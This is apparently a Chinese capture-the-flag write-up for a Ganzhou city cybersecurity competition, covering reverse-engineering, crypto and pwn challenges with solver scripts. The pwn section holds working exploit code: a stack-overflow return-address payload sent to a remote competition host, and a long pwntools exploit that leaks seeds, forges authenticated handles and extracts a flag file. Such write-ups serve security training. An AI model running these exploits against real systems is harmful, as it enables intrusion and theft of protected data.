赣州市第三届“虔城杯”网络安全技能大赛初赛--WriteUp"

admin 2026-10-20 19:15:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Reverse

rev1

解密流程:密文 -> Caesar -3 ->逆分组换位 -> Base64解码 -> flag

import base64
enc='P7UXIJPHYJTmCCpakC6vcPmgEQGTcQIQWQHT63=nP3PcD3TXT4RW'

def inv_rot3(c):
    if \"A\"<=c<=\"Z\":
        return chr((ord(c)-ord(\"A\")-3)%26+ord(\"A\"))
    if \"a\"<=c<=\"z\":
        return chr((ord(c)-ord(\"a\")-3)%26+ord(\"a\"))
    if \"0\"<=c<=\"9\":
        return chr((ord(c)-ord(\"0\")-3)%26+ord(\"0\"))
    return c

def solve():
    dst = \"\".join(inv_rot3(c) for c in enc)
    src = dst[13:26]+dst[39:52]+dst[0:13]+dst[26:39]
    return base64.b64decode(src).decode()

print(solve())

ezvm

程序核心是一个很小的自定义VM。主函数会把.data段中从0x403018开始的0x72个 dword拷贝到栈上,然后调用解释器函数sub\_401000执行。

关键代码逻辑如下:

4011b8    movecx,72h
4011bd    movesi,offset src_  ; 0x403018
4011c8    repmovsd
4011d1    callsub_401000

也就是说,0x403018处保存的是 VM bytecode。

解释器每次读取一个 dword作为opcode,主要指令如下:

opcode 作用
1 把bl写入输出缓冲区,输出下标加一
2 imm bl = work[i] + imm
3 imm bl = work[i] - imm
4 imm bl = work[i] ^ imm
5 imm bl = work[i] \* imm,只保留低 8 位
7 imm 比较输出缓冲区当前字节是否等于imm
8 把bl写回工作缓冲区
10 读取输入,要求长度为 15
11 bl = work[i] - 2
12 bl = work[i] + 2

程序最后会比较 15个字节,最终 exp如下:

prs=[0x000A,0x0000,0x0004,0x0000,0x0010,0x0000,0x0008,0x0000,0x0003,0x0000,0x0005,0x0000,0x0001,0x0000,0x0004,0x0000,0x0020,0x0000,0x0008,0x0000,0x0005,0x0000,0x0003,0x0000,0x0001,0x0000,0x0003,0x0000,0x0002,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x000C,0x0000,0x0008,0x0000,0x0004,0x0000,0x0004,0x0000,0x0001,0x0000,0x0005,0x0000,0x0003,0x0000,0x0008,0x0000,0x0003,0x0000,0x0021,0x0000,0x0001,0x0000,0x000B,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x0004,0x0000,0x0009,0x0000,0x0008,0x0000,0x0003,0x0000,0x0020,0x0000,0x0001,0x0000,0x0002,0x0000,0x0051,0x0000,0x0008,0x0000,0x0004,0x0000,0x0024,0x0000,0x0001,0x0000,0x000C,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x0005,0x0000,0x0002,0x0000,0x0008,0x0000,0x0002,0x0000,0x0025,0x0000,0x0001,0x0000,0x0002,0x0000,0x0036,0x0000,0x0008,0x0000,0x0004,0x0000,0x0041,0x0000,0x0001,0x0000,0x0002,0x0000,0x0020,0x0000,0x0008,0x0000,0x0005,0x0000,0x0001,0x0000,0x0001,0x0000,0x0005,0x0000,0x0003,0x0000,0x0008,0x0000,0x0002,0x0000,0x0025,0x0000,0x0001,0x0000,0x0004,0x0000,0x0009,0x0000,0x0008,0x0000,0x0003,0x0000,0x0020,0x0000,0x0001,0x0000,0x0002,0x0000,0x0041,0x0000,0x0008,0x0000,0x000C,0x0000,0x0001,0x0000,0x0007,0x0000,0x0022,0x0000,0x0007,0x0000,0x003F,0x0000,0x0007,0x0000,0x0033,0x0000,0x0007,0x0000,0x0031,0x0000,0x0007,0x0000,0x00A8,0x0000,0x0007,0x0000,0x0040,0x0000,0x0007,0x0000,0x001F,0x0000,0x0007,0x0000,0x00A5,0x0000,0x0007,0x0000,0x0046,0x0000,0x0007,0x0000,0x0093,0x0000,0x0007,0x0000,0x002B,0x0000,0x0007,0x0000,0x0054,0x0000,0x0007,0x0000,0x00C7,0x0000,0x0007,0x0000,0x0028,0x0000,0x0007,0x0000,0x007B,0x0000]

pr=[]
for i in prs:
    if i>0:
        pr.append(int(i))

# 获取target
target=[]
i=0
while i<len(pr):
    if pr[i]==7:
        target.append(pr[i+1])
        i+=2
    else:
        i+=1

def vm(s):
    work=bytearray(s)+bytearray(100)
    out=[]
    pc=0
    i=0
    wp=0
    bl=0
    while pc<len(pr):
        op=pr[pc]
        if op==10:
            pc+=1
        elif op==1:
            out.append(bl&0xff)
            i+=1
            pc+=1
        elif op==2:
            bl=work[i]+pr[pc+1]
            pc+=2
        elif op==3:
            bl=work[i]-pr[pc+1]
            pc+=2
        elif op==4:
            bl=work[i]^pr[pc+1]
            pc+=2
        elif op==5:
            bl=work[i]*pr[pc+1]
            pc+=2
        elif op==7:
            pc+=2
        elif op==8:
            work[wp]=bl&0xff
            wp+=1
            pc+=1
        elif op==11:
            bl=work[i]-2
            pc+=1
        elif op==12:
            bl=work[i]+2
            pc+=1
        else:
            pc+=1
    return out

flag=''
for pos in range(15):
    for c in range(32,127):
        s=bytearray(b'A'*15)
        s[pos]=c
        if vm(s)[pos]==target[pos]:
            flag+=chr(c)
            break
print(flag)

Crypto

stream

题目给了三份数据:

known_plaintext = \"Ganzhou, a city in Jiangxi Province,is known for its rich revolutionary history, Hakka culture, rare earth resources, and role as a historic gateway in southern China.\"
known_ciphertext_hex = \"16222c48585d430d7122625159464f01382d627859535846292a6262425d40483f20271e5941164a3f2c355c10545953712a364110405f4239633057465d5a54252a2d5c51404f01392a31465f404f0d710b23595b531642242f364742571a012322305710575753252b624055415954232027411c12574f3563305d5c57164022632312585b45553e312b51105557553434234b105b5801222c37465857444f71002a5b5e5318\"
secret_ciphertext_hex = \"172f2355104053423e31260810545a4036382c574657447e23263741556d577e252a2c4b6f41425334222f6d5b574f5c\"

其中known*plaintext和known*ciphertext*hex是一组已知明文 /密文对,目标是解出secret*ciphertext\\_hex。

这类题目很像流密码或者 XOR加密。

如果加密方式是:

ciphertext = plaintext XOR keystream

那么在已知一组明文和对应密文时,可以直接恢复密钥流:

keystream = plaintext XOR ciphertext

题目中已知明文长度和对应密文长度相同,所以可以逐字节异或,得到用于加密的密钥流。

完整解题脚本如下:

from binascii import unhexlify

known_plaintext = b\"Ganzhou, a city in Jiangxi Province,is known for its rich revolutionary history, Hakka culture, rare earth resources, and role as a historic gateway in southern China.\"
known_ciphertext_hex = \"16222c48585d430d7122625159464f01382d627859535846292a6262425d40483f20271e5941164a3f2c355c10545953712a364110405f4239633057465d5a54252a2d5c51404f01392a31465f404f0d710b23595b531642242f364742571a012322305710575753252b624055415954232027411c12574f3563305d5c57164022632312585b45553e312b51105557553434234b105b5801222c37465857444f71002a5b5e5318\"
secret_ciphertext_hex = \"172f2355104053423e31260810545a4036382c574657447e23263741556d577e252a2c4b6f41425334222f6d5b574f5c\"

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

def find_period(data):
    for period in range(1,len(data)+1):
        ok = True
        for i in range(len(data)):
            if data[i]!=data[i%period]:
                ok = False
                break
        if ok:
            return period
    return len(data)

def r_x_d(ciphertext,key):
    return bytes(c^key[i%len(key)] for i,c in enumerate(ciphertext))

def main():
    k_c = unhexlify(known_ciphertext_hex)
    s_c = unhexlify(secret_ciphertext_hex)
    r_k = xor_bytes(known_plaintext,k_c)
    period = find_period(r_k)
    key = r_k[:period]
    s_p = r_x_d(s_c,key)
    text = s_p.decode()
    print(text)

main()

Pwn

servicedesk

buf存在溢出

存在读取flag的函数

最终的exp如下

from pwn import *ret = 0x40080Bpayload = b\"A\"*(64+8) + p64(ret) + p64(0x400786)p = remote(\"111.74.9.131\",\"10099\")p.sendlineafter(\"\
\",payload)p.interactive()

chronovault

利用思路

利用点是 push/restore 只回滚句柄表和 epoch,不回滚对象表与 temporal record,于是可以制造“回到过去的句柄 + 留在未来的对象”,再结合一次 leak 恢复内部 seed,伪造合法 handle,最终通过 commit + activate + export_flag 读出 /flag

Step 1: 利用时间回滚制造可控 type2 leak

关键包序列是:

  • new_data(reg) 为 4 个寄存器分配 0x31 句柄

  • push

  • track(reg) 生成 temporal record

  • drop(reg) 释放句柄并清对象

  • restore 回滚句柄表

  • seal 将满足条件的 temporal record 物化为 type2

  • dump(reg, 0, 0x40) 泄露该对象内容

这里的关键事实是:restore 不会恢复对象槽,也不会恢复 temporal record。于是 reg 看起来仍持有旧句柄,但这个句柄已经与“未来”物化出来的新对象发生了时序错配,可以稳定 dump 出 0x40 字节对象数据。

这一泄露足够恢复 seed0 和 seed1。由于初始化函数里三组 64-bit seed 都来自同一个 getrandom 值跑出的连续 splitmix64 输出,所以再根据 splitmix64 链关系可直接反推出 seed2,不需要做多次 leak

Step 2: 伪造句柄并通过认证状态

拿到三组 seed 后,就可以复现 VM 的 handle MAC,配合 import_handle 伪造任意合法 16-byte handle。

后续利用链如下:

  1. 清掉第一次 leak 后残留的 slot 1..3 / entry 1..3
  2. 对 slot 0 生成的 0x9b31c62d 对象计算 commit proof
  3. 伪造 0x52 anchor handle 并执行 activate
  4. 临时占满 slot 1..3,让下一次 seal 的持久对象落到 slot 4
  5. 因为 slot % 5 == 4,此时得到的对象 magic 为 0x42e91f7b
  6. 对这个 key 对象重复 commit,再伪造 0x52 key handle,执行 export_flag

这条链完整体现在 exploit.py 中,脚本会直接连接远端、完成 seed 恢复、proof 计算、auth 激活和最终 flag 导出。

exp如下:


#!/usr/bin/env python3from pwn import *import osimport structimport subprocessimport tempfilefrom pathlib import Pathcontext.binary = elf = ELF(\"./chronovault\", checksec=False)context.log_level = os.environ.get(\"LOG\", \"info\")HOST = os.environ.get(\"HOST\", \"111.74.9.131\")PORT = int(os.environ.get(\"PORT\", \"18067\"))MASK = (1 << 64) - 1GAMMA = 0x9E3779B97F4A7C15KEYS = {    \"skip_blob\": 0xcd,    # reg, u16 len, blob    \"new_data\": 0xa7,     # reg, u16 len, blob -> 0x31 handle, flags 3    \"check2\": 0x44,    \"track\": 0x39,        # reg -> temporal record    \"push\": 0xb4,         # save handle table, epoch++    \"nop\": 0x2b,    \"drop\": 0x0e,         # release handle, clear pointed object    \"restore\": 0xc9,      # restore saved handle table and old epoch    \"skip3\": 0x9a,    \"seal\": 0x27,         # materialize eligible temporal record as type2 object    \"dump\": 0x4c,         # reg, off, len -> B frame, full 0x40 sets pending digest    \"new_token\": 0xf1,    \"bad\": 0xbe,    \"import_handle\": 0x15,  # reg, transformed 16-byte handle    \"activate\": 0x68,     # 0x52 anchor handle -> sets auth state    \"mark\": 0x58,         # full-read side effect without output    \"export_flag\": 0x93,  # 0x52 key handle -> F frame    \"ack\": 0x6d,    \"write\": 0xd2,    \"copy\": 0x81,    \"pop\": 0x5a,    \"check1a\": 0x72,    \"check1b\": 0xe6,    \"commit\": 0x03,       # reg, proof_lo, proof_hi -> registry kind 0x52    \"check2b\": 0xaf,}PERM = bytes.fromhex(\"09000e030c05020b07040f01060d080a\")C20 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5020, 8)))C28 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5028, 8)))C30 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5030, 8)))C38 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5038, 8)))C40 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5040, 8)))C48 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5048, 8)))def rol(x, n, bits=64):    n %= bits    return ((x << n) | (x >> (bits - n))) & ((1 << bits) - 1)def ror(x, n, bits=64):    n %= bits    return ((x >> n) | (x << (bits - n))) & ((1 << bits) - 1)def unxorshr(x, shift):    # Invert x ^= x >> shift for 64-bit values.    y = x    s = shift    while s < 64:        y ^= x >> s        s += shift    # The iterative form above is not sufficient for all shifts; use bit solve.    y = 0    for i in range(63, -1, -1):        bit = (x >> i) & 1        if i + shift < 64:            bit ^= (y >> (i + shift)) & 1        y |= bit << i    return y & MASKdef splitmix_final(z):    z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9 & MASK    z = (z ^ (z >> 27)) * 0x94D049BB133111EB & MASK    return (z ^ (z >> 31)) & MASKdef splitmix_inv(z):    z = unxorshr(z, 31)    z = z * pow(0x94D049BB133111EB, -1, 1 << 64) & MASK    z = unxorshr(z, 27)    z = z * pow(0xBF58476D1CE4E5B9, -1, 1 << 64) & MASK    z = unxorshr(z, 30)    return z & MASKdef mix33(x):    x = (x ^ (x >> 33)) * 0xFF51AFD7ED558CCD & MASK    x = (x ^ (x >> 33)) * 0xC4CEB9FE1A85EC53 & MASK    return (x ^ (x >> 33)) & MASKdef opcode_byte(key, pos):    mask = (((pos >> 1) * 0x17) ^ ((pos * 0x43 + 0x9D) & 0xFF) ^ (((pos >> 5) * -0x3F) & 0xFF)) & 0xFF    return key ^ maskclass Program:    def __init__(self):        self.buf = bytearray()    def op(self, name, payload=b\"\"):        self.buf.append(opcode_byte(KEYS[name], len(self.buf)))        self.buf += payload        return self    def bytes(self):        return bytes(self.buf)    def new_data(self, reg, data):        assert 0 <= reg < 16 and len(data) <= 0x60        return self.op(\"new_data\", p8(reg) + p16(len(data)) + data)    def track(self, reg):        return self.op(\"track\", p8(reg))    def drop(self, reg):        return self.op(\"drop\", p8(reg))    def push(self):        return self.op(\"push\")    def restore(self):        return self.op(\"restore\")    def seal(self):        return self.op(\"seal\")    def dump(self, reg, off=0, size=0x40):        return self.op(\"dump\", p8(reg) + p16(off) + p16(size))    def commit(self, reg, proof):        return self.op(\"commit\", p8(reg) + p16(proof & 0xFFFF) + p16((proof >> 16) & 0xFFFF))    def activate(self, reg):        return self.op(\"activate\", p8(reg))    def export_flag(self, reg):        return self.op(\"export_flag\", p8(reg))    def import_handle(self, reg, raw_handle):        return self.op(\"import_handle\", p8(reg) + encode_import(raw_handle))def encode_import(out16):    out16 = bytes(out16)    assert len(out16) == 16    inp = bytearray(16)    c = 0x5D    for i, dst in enumerate(PERM):        mask = (((i & 3) << 5) + c) & 0xFF        inp[i] = out16[dst] ^ mask        c = (c + 0x31) & 0xFF    return bytes(inp)class HandleModel:    def __init__(self):        self.gen = [0] * 32        self.active = [False] * 32        self.obj_slot = [None] * 32        self.kind = [0] * 32    def alloc(self, kind, obj_slot):        for i in range(32):            if not self.active[i]:                self.active[i] = True                self.kind[i] = kind                self.obj_slot[i] = obj_slot                return i, self.gen[i]        raise RuntimeError(\"handle table exhausted\")    def drop(self, entry):        self.active[entry] = False        self.gen[entry] = (self.gen[entry] + 1) & 0xFFFF        self.kind[entry] = 0        self.obj_slot[entry] = None    def snapshot(self):        return (self.gen[:], self.active[:], self.obj_slot[:], self.kind[:])    def restore(self, snap):        self.gen[:], self.active[:], self.obj_slot[:], self.kind[:] = [x[:] for x in snap]def frame_recv(io):    hdr = io.recvn(3, timeout=2)    if not hdr:        raise EOFError(\"no response\")    tag = hdr[0]    if tag in (0x42, 0x46):        ln = u16(hdr[1:3])        return chr(tag), io.recvn(ln, timeout=2)    if hdr == b\"\\x53\\x01\\x00\":        return \"S\", io.recvn(1, timeout=2)    if hdr == b\"\\x45\\x01\\x00\":        return \"E\", io.recvn(1, timeout=2)    raise ValueError(f\"bad frame header: {hdr.hex()}\")def send_packet(io, prog, want_all=False):    body = prog.bytes() if isinstance(prog, Program) else bytes(prog)    io.send(p32(len(body)) + body)    frames = []    while True:        tag, data = frame_recv(io)        frames.append((tag, data))        if tag == \"E\":            raise RuntimeError(f\"VM error code {data.hex()} after packet {body.hex()}\")        if tag == \"S\" and data == b\"\\xff\":            break    return frames if want_all else [f for f in frames if f[0] in (\"B\", \"F\")]def start():    if args.REMOTE:        return remote(HOST, PORT)    env = {}    if args.FAKEFLAG:        env.update(make_fopen_redirect())    if args.GDB:        return gdb.debug([elf.path], gdbscript=\"b *main\
c\", env=env)    return process([elf.path], env=env)def make_fopen_redirect():    # Local validation convenience: the binary opens absolute /flag.    root = Path(tempfile.mkdtemp(prefix=\"cv_flag_\"))    src = root / \"fopen_redirect.c\"    so = root / \"fopen_redirect.so\"    flag_path = str((Path.cwd() / \"flag\").resolve())    src.write_text(        r'''#define _GNU_SOURCE#include <dlfcn.h>#include <stdio.h>#include <string.h>typedef FILE *(*fopen_t)(const char *, const char *);FILE *fopen(const char *path, const char *mode) {    static fopen_t real_fopen;    if (!real_fopen) real_fopen = (fopen_t)dlsym(RTLD_NEXT, \"fopen\");    if (path && strcmp(path, \"/flag\") == 0) return real_fopen(\"__FLAG_PATH__\", mode);    return real_fopen(path, mode);}'''.replace(\"__FLAG_PATH__\", flag_path)    )    subprocess.check_call([\"gcc\", \"-shared\", \"-fPIC\", \"-O2\", str(src), \"-o\", str(so)])    return {\"LD_PRELOAD\": str(so)}def magic_for_slot(slot):    return 0x42E91F7B if slot % 5 == 4 else 0x9B31C62Ddef recover_from_leak(slot, blob):    assert len(blob) == 0x40    magic = magic_for_slot(slot)    x = u64(blob[0:8])    q18 = u64(blob[8:16])    q20 = u64(blob[16:24])    epoch = u64(blob[32:40])    pre18 = ror(q18, (slot & 7) + 3)    s0 = pre18 ^ C48 ^ rol(x, 17) ^ rol((((slot << 32) ^ magic ^ x) & MASK), 11) ^ 0x4F1BBCDC7D6A8E23    z = splitmix_inv(x)    s1_rot = ((z - 0x9E3779B97F4A7C15) & MASK) ^ s0 ^ ((epoch & 0xFFFF) << 32) ^ (((slot ^ magic) & 0xFFFFFFFF) * 0x517CC1B727220A95 & MASK)    s1 = ror(s1_rot, 9)    # Sanity check q20, which only depends on s1, x, and constants.    t = rol((s1 ^ rol(x, 29) ^ C40) & MASK, (slot & 7) + 1)    expect_q20 = (rol((q18 ^ x) & MASK, 11) ^ ((magic * 0xD6E8FEB86659FD93) & MASK) ^ t) & MASK    if expect_q20 != q20:        raise ValueError(f\"seed recovery sanity failed for slot {slot}: {expect_q20:#x} != {q20:#x}\")    u = (slot * 5 + 7) % 24    pos = (u * 7 + 3) % 24    byte_idx = u & 7    leaked = blob[40 + pos]    seed_byte = (        leaked        ^ ((u * 0x29 + 0x5D + (epoch & 0xFF)) & 0xFF)        ^ ((magic >> ((u & 3) * 8)) & 0xFF)        ^ ((x >> (((u * 3 + 1) & 7) * 8)) & 0xFF)    ) & 0xFF    seed_kind = 0 if u <= 7 else (1 if u <= 15 else 2)    return {        \"slot\": slot,        \"magic\": magic,        \"x\": x,        \"q18\": q18,        \"q20\": q20,        \"epoch\": epoch,        \"s0\": s0 & MASK,        \"s1\": s1 & MASK,        \"seed_kind\": seed_kind,        \"seed_byte_idx\": byte_idx,        \"seed_byte\": seed_byte,        \"blob\": blob,    }def object_from_blob(slot, blob):    return {        \"slot\": slot,        \"magic\": magic_for_slot(slot),        \"q10\": u64(blob[0:8]),        \"q18\": u64(blob[8:16]),        \"q20\": u64(blob[16:24]),        \"q30\": u64(blob[32:40]),        \"blob\": blob,    }def handle_mac(seeds, entry, gen, kind, flags, obj_slot):    s0, s1, s2 = seeds    v0 = C38 ^ s0    v1 = C30 ^ s1    v2 = C28 ^ s0    msg = (rol((((obj_slot + 1) * 0x9E3779B97F4A7C15) ^ s2) & MASK, 19) ^           ((flags & 0xFFFF) << 48) ^ ((kind & 0xFFFF) << 32) ^ ((gen & 0xFFFF) << 16) ^ (entry & 0xFFFF)) & MASK    v3 = (C20 ^ s1 ^ msg) & MASK    def sipround(a, b, c, d):        a = (a + b) & MASK        b = rol(b, 13) ^ a        x = (rol(d, 16) ^ ((c + d) & MASK)) & MASK        c = (c + d + b) & MASK        a = (rol(a, 32) + x) & MASK        b = rol(b, 17) ^ c        c = rol(c, 32)        d = rol(x, 21) ^ a        return a, b, c, d    for _ in range(3):        v0, v1, v2, v3 = sipround(v0, v1, v2, v3)    v2 ^= 0xFF    msg ^= v0    for _ in range(4):        msg, v1, v2, v3 = sipround(msg, v1, v2, v3)    return mix33(v3 ^ v1 ^ msg ^ v2)def raw_handle(seeds, entry, gen, kind, flags, obj_slot):    first = ((flags & 0xFFFF) << 48) | ((kind & 0xFFFF) << 32) | ((gen & 0xFFFF) << 16) | (entry & 0xFFFF)    mac = handle_mac(seeds, entry, gen, kind, flags, obj_slot)    return p64(first) + p64(mac)def object_check(obj, auth):    u = (obj[\"q10\"] ^ obj[\"q30\"] ^ rol((auth ^ 0x6A09E667F3BCC909) & MASK, 23)         ^ rol(obj[\"q18\"], 7) ^ rol(obj[\"q20\"], 17) ^ ((obj[\"magic\"] & 0xFFFFFFFF) << 11)) & MASK    return mix33(u) & 0xFFFFFFFFdef pending_digest(seeds, obj, entry, gen, auth_state=False, auth=0):    s0, s1, s2 = seeds    u = (        (obj[\"slot\"] << 16)        ^ s2        ^ obj[\"q10\"]        ^ ((entry & 0xFFFF) << 48)        ^ ((gen & 0xFFFF) << 32)        ^ rol(obj[\"q18\"], 11)        ^ rol(obj[\"q20\"], 27)        ^ ((rol(s1, 29) + s0) & MASK)        ^ (obj[\"magic\"] & 0xFFFFFFFF)        ^ rol((obj[\"q30\"] ^ 0x243F6A8885A308D3) & MASK, 9)    ) & MASK    v = u ^ 0x3C6EF372BE94F82B    if auth_state:        v = rol(auth, 13) ^ u ^ 0x9E3779B93F4A7C15    return mix33(v)def commit_proof(seeds, obj, entry, gen, auth_state=False, auth=0):    s0, s1, s2 = seeds    pd = pending_digest(seeds, obj, entry, gen, auth_state, auth)    u = (        s0        ^ s2        ^ pd        ^ rol(s1, 17)        ^ rol(pd, 29)        ^ ((entry & 0xFFFF) << 48)        ^ ((gen & 0xFFFF) << 32)        ^ obj[\"q10\"]        ^ (obj[\"slot\"] << 16)        ^ rol(obj[\"q18\"], 5)        ^ rol(obj[\"q20\"], 31)        ^ (obj[\"magic\"] & 0xFFFFFFFF)    ) & MASK    v = u ^ 0x510E527FADE682D1    if obj[\"magic\"] == 0x42E91F7B:        v = rol(auth, 7) ^ u ^ 0xA54FF53A5F1D36F1    # commit folds the second multiply stage before the final xor-shift    m = ((v ^ (v >> 33)) * 0xFF51AFD7ED558CCD) & MASK    m = ((m ^ (m >> 33)) * 0xC4CEB9FE1A85EC53) & MASK    hi = (m >> 32) & 0xFFFFFFFF    lo = m & 0xFFFFFFFF    return (lo ^ (hi >> 1) ^ hi) & 0xFFFFFFFFdef auth_key_from_anchor(anchor_obj, handle_mac_value, flags):    u = (        ((rol(anchor_obj[\"q18\"], 9) + anchor_obj[\"q10\"]) & MASK)        ^ handle_mac_value        ^ ((flags & 0xFFFF) << 32)        ^ rol(anchor_obj[\"q20\"], 23)        ^ 0xBB67AE8584CAA73B    ) & MASK    return mix33(u)def derive_s2(seed0, seed1):    z1 = splitmix_inv(seed0)    z2 = splitmix_inv(seed1)    if ((z1 + GAMMA) & MASK) != z2:        raise RuntimeError(\"splitmix chain mismatch while deriving seed2\")    return splitmix_final((z2 + GAMMA) & MASK)def leak_type2(io, reg, content=b\"A\" * 8):    regs = [reg, 13, 14, 15]    p = Program()    for r in regs:        p.new_data(r, content)    p.push()    for r in regs:        p.track(r)    for r in regs:        p.drop(r)    p.restore()    p.seal()    p.dump(reg, 0, 0x40)    frames = send_packet(io, p)    blobs = [d for t, d in frames if t == \"B\"]    if len(blobs) != 1 or len(blobs[0]) != 0x40:        raise RuntimeError(f\"expected one 0x40 leak, got {frames!r}\")    return blobs[0]def drop_forged(io, reg, seeds, entry, gen, obj_slot):    h = raw_handle(seeds, entry, gen, 0x31, 3, obj_slot)    send_packet(io, Program().import_handle(reg, h).drop(reg))def occupy_slots(io, count):    filled = 0    while filled < count:        n = min(4, count - filled)        p = Program().push()        for i in range(n):            p.new_data(12 + i, b\"FILL\" + p8((filled + i) & 0xFF))        p.restore()        send_packet(io, p)        filled += ndef solve(io):    # A single type2 leak recovers seed0/seed1, and init uses a splitmix64 chain.    anchor_slot, anchor_reg = 0, 0    anchor_entry, anchor_gen = 0, 1    anchor_blob = leak_type2(io, anchor_reg)    rec = recover_from_leak(anchor_slot, anchor_blob)    seeds = (rec[\"s0\"], rec[\"s1\"], derive_s2(rec[\"s0\"], rec[\"s1\"]))    log.success(\"seed0=%#x seed1=%#x seed2=%#x\", *seeds)    # The leak packet leaves slots 1..3 and entries 1..3 alive; clean them with forged handles.    for entry, slot in ((1, 1), (2, 2), (3, 3)):        drop_forged(io, 9, seeds, entry, 1, slot)    anchor_obj = object_from_blob(anchor_slot, anchor_blob)    anchor_proof = commit_proof(seeds, anchor_obj, anchor_entry, anchor_gen, False, 0)    send_packet(io, Program().commit(anchor_reg, anchor_proof))    anchor_flags = ((object_check(anchor_obj, 0) & 0xFF) << 8) | 0x40    anchor_raw = raw_handle(seeds, anchor_entry, anchor_gen, 0x52, anchor_flags, anchor_slot)    auth = auth_key_from_anchor(anchor_obj, u64(anchor_raw[8:16]), anchor_flags)    send_packet(io, Program().import_handle(anchor_reg, anchor_raw).activate(anchor_reg))    log.success(\"auth=%#x\", auth)    # Occupy 1..3 without leaking handles so the next persistent type2 lands at slot 4.    occupy_slots(io, 3)    key_slot, key_reg = 4, 10    key_entry, key_gen = 1, 2    key_blob = leak_type2(io, key_reg, b\"K\" * 8)    key_obj = object_from_blob(key_slot, key_blob)    if key_obj[\"magic\"] != 0x42E91F7B:        raise RuntimeError(f\"unexpected key slot magic: {key_obj['magic']:#x}\")    key_proof = commit_proof(seeds, key_obj, key_entry, key_gen, True, auth)    send_packet(io, Program().commit(key_reg, key_proof))    key_flags = ((object_check(key_obj, auth) & 0xFF) << 8) | 0x01    key_raw = raw_handle(seeds, key_entry, key_gen, 0x52, key_flags, key_slot)    frames = send_packet(io, Program().import_handle(key_reg, key_raw).export_flag(key_reg))    flags = [d for t, d in frames if t == \"F\"]    if not flags:        raise RuntimeError(f\"no flag frame: {frames!r}\")    return flags[-1]def main():    io = start()    flag = solve(io)    print(flag.decode(errors=\"replace\"))if __name__ == \"__main__\":    main()

    赣州市第三届“虔城杯”网络安全技能大赛初赛--WriteUp" 网络安全文章

    赣州市第三届“虔城杯”网络安全技能大赛初赛--WriteUp"

    文档记录了赣州市第三届虔城杯网络安全技能大赛初赛的解题过程,涵盖Web、Misc等多类题型。核心发现包括:利用PHP弱类型比较绕过登录验证、通过泄露签名密钥伪造JWT令牌、操纵Session文件内容绕过MIME检测实现文件读取、利用重复键处理漏洞绕过签名验证。技术要点涉及MD5碰撞、目录遍历、二进制隐写(潮汐线坐标编码DNA碱基转换)等实战手法,提供可复现的Python脚本。
    第9篇全栈AI·API安全检查方法论" 网络安全文章

    第9篇全栈AI·API安全检查方法论"

    本文提出API安全检查的三步方法论:首先通过流量分析、代码扫描等方式识别API资产,明确接口数量、状态及暴露面;其次重点检测未鉴权、越权、敏感数据过度返回等核心风险;最后强调通过统一网关实现集中治理,并指出AI时代API安全因模型集成多类接口而更关键。文档强调安全需从数据流层面突破前端限制,建立持续治理能力。
    评论:0   参与:  0